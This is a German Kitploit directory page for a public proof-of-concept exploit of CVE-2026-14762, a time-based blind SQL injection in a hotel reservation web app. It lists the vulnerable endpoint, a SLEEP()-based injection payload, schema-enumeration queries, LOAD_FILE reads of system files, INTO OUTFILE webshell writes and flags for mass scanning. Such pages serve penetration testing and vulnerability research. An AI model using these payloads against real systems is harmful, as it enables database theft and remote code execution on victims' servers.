Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-14762-PoC-Exploit — Multithread-fähiger zeitbasierter Blind-SQL-Injection-Exploit für CVE-2026-14762, der auf Hotel & Tourism Reservation 1.0 abzielt. Zählt Datenbanken, Tabellen, Spalten auf; liest Dateien über LOAD_FILE; schreibt PHP-Webshells für RCE. Unterstützt Proxy, Batch-Scanning und interaktive SQL-Shell. | Kitploit
Tools/GitHubGitHub/tc4dy/cve-2026-14762-poc-exploit
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsCommand and ControlRed TeamingPayload-Entwicklung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Datenbanksicherheit
GitHubtc4dy/cve-2026-14762-poc-exploit

CVE-2026-14762-PoC-Exploit

Repository anzeigen
212vor 2 MonatenNoch nicht geprüft

Über

Multithread-fähiger zeitbasierter Blind-SQL-Injection-Exploit für CVE-2026-14762, der auf Hotel & Tourism Reservation 1.0 abzielt. Zählt Datenbanken, Tabellen, Spalten auf; liest Dateien über LOAD_FILE; schreibt PHP-Webshells für RCE. Unterstützt Proxy, Batch-Scanning und interaktive SQL-Shell.

Teilen

CVE-2026-14762 – Code‑Projects Hotel & Tourism Reservation 1.0 SQL Injection Exploit

Python 3.11+ License CVSS CWE

Vollständig ausgestatteter, multithreaded, zeitbasierter Blind-SQL-Injection-Exploit für CVE‑2026‑14762.
Zielt auf den Endpunkt /admin/rooms.php der Anwendung Code‑Projects Hotel & Tourism Reservation (Version 1.0) ab.
Ermöglicht vollständige Datenbankaufzählung, Dateisystem-Lesen (LOAD_FILE) und beliebiges Dateischreiben (INTO OUTFILE / DUMPFILE) – was zu Remote-Code-Ausführung durch Webshell-Bereitstellung führt.

CVE Exploit


🚀 Funktionen

KategorieFähigkeit
SchwachstelleZeitbasierte Blind-SQL-Injection (CWE‑89)
AngriffsvektorGET /admin/rooms.php?delete=<payload>
AusnutzungBedingte SLEEP()-Injektion mit Binärsuche-Zeichenextraktion
DatenbankAktuellen Datenbanknamen extrahieren
SchemaTabellen- und Spaltenaufzählung über information_schema
DatenauszugVollständiger Tabellenexport (JSON) – unbegrenzte Zeilen, konfigurierbares Limit
DateilesenLOAD_FILE() – jede von MySQL lesbare Datei lesen (z.B. /etc/passwd, Konfigurationsdateien)
DateischreibenINTO OUTFILE / DUMPFILE – PHP-Webshell, Backdoor oder beliebigen Inhalt schreiben
Interaktive ShellLive-SQL-Shell (zeitbasierte Extraktion) für manuelle Abfragen
EinzelabfrageAd-hoc-SQL ausführen und Ergebnisse abrufen (512‑Zeichen-Limit)
Batch-ModusMulti-Target-Scanning mit konfigurierbarem Thread-Pool (ThreadPoolExecutor)
Proxy-UnterstützungHTTP/HTTPS-Proxy (Burp Suite, mitmproxy, usw.)
Ausführliche ProtokollierungFarbige Ausgabe mit Zeitstempel-Debug-Informationen
Keine AbhängigkeitenNur requests, urllib3 und colorama (optional)

📦 Anforderungen

  • Python ≥ 3.11
  • Python-Pakete:
    • requests
    • urllib3
    • colorama (optional – für farbige Terminalausgabe)

Alle Abhängigkeiten installieren mit:

root@kitploit:~
pip install requests urllib3 colorama

📖 Verwendung

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git

cd CVE-2026-14762-PoC-Exploit

chmod +x exploit.py or basic_exploit.py

📖 Befehlszeilenargumente

ArgumentKurzformTypStandardBeschreibung
--target-tURL—Einzelne Ziel-URL (z.B. http://192.168.1.100)
--target-file-lDatei—Datei mit Liste von Zielen (eine pro Zeile)
--threads—Ganzzahl5Anzahl der Threads für Multi-Target-Scanning
--output-oPfad—Ausgabedatei (JSON für Dumps, Rohtext für Dateien)
--verbose-vFlagFalseAusführliches Debug-Logging aktivieren
--proxy—URL—HTTP/HTTPS-Proxy (z.B. http://127.0.0.1:8080)
--user-agent-uaZeichenketteMozilla/5.0...Benutzerdefinierter User-Agent-Header
--delay—Fließkommazahl5.0Schlafzeit in Sekunden für Blind-Injection
--max-retries—Ganzzahl3Maximale Anzahl erneuter Anfrageversuche

⚙️ Funktionsweise

Payload-Konstruktion

Der Parameter delete wird injiziert mit:

root@kitploit:~
150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1

Die IF() wertet die Bedingung aus; bei true schläft die Datenbank für Sekunden.

Binärsuche-Zeichenextraktion

Für jede Zeichenposition wird eine Binärsuche über den ASCII-Bereich (32–126) durchgeführt, die mit > und = Vergleichen das korrekte Zeichen ermittelt. Dies reduziert die Anfragen von 95 pro Zeichen auf etwa 7–8 und macht die Extraktion äußerst effizient.

Metadaten-Aufzählung

root@kitploit:~
Datenbankname: SELECT DATABASE()

Tabellen: SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1

Spalten: SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1

Datenextraktion

root@kitploit:~
SELECT <col> FROM <table> LIMIT row,1 – extrahiert Zeile für Zeile

Jede Zelle wird Zeichen für Zeichen mit derselben Binärsuche-Technik extrahiert

Dateisystem-Interaktion

root@kitploit:~
Lesen: LOAD_FILE('/path/to/file') – erfordert, dass secure_file_priv leer ist oder auf das Zielverzeichnis zeigt

Schreiben: SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – erfordert FILE-Berechtigung und dass secure_file_priv nicht restriktiv ist

🛡️ Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests, Bildungsforschung und Schwachstellenbewertung bereitgestellt.
Der Autor übernimmt keine Verantwortung für Missbrauch, illegale Aktivitäten oder Schäden, die durch diese Software verursacht werden.
Holen Sie vor dem Testen stets die ausdrückliche schriftliche Genehmigung des Systembesitzers ein.

Tool herunterladen
--ssl-verify
—
Flag
False
SSL-Zertifikatsüberprüfung aktivieren
--webroot—Pfad/var/www/htmlWebroot für INTO OUTFILE Webshell-Schreibvorgänge
--dump-db—FlagFalseAlle Tabellen aus der aktuellen Datenbank ausgeben
--tables—FlagFalseNur alle Tabellennamen auflisten
--dump-table—Tabelle—Eine bestimmte Tabelle ausgeben (z.B. --dump-table users)
--read—Pfad—Eine Datei über LOAD_FILE() lesen
--write-shell—FlagFalsePHP-Webshell (shell.php) in Webroot schreiben
--sql—Abfrage—Eine einzelne SQL-Abfrage ausführen (maximal 512 Zeichen)
--interactive-iFlagFalseInteraktive SQL-Shell nach der Ausnutzung starten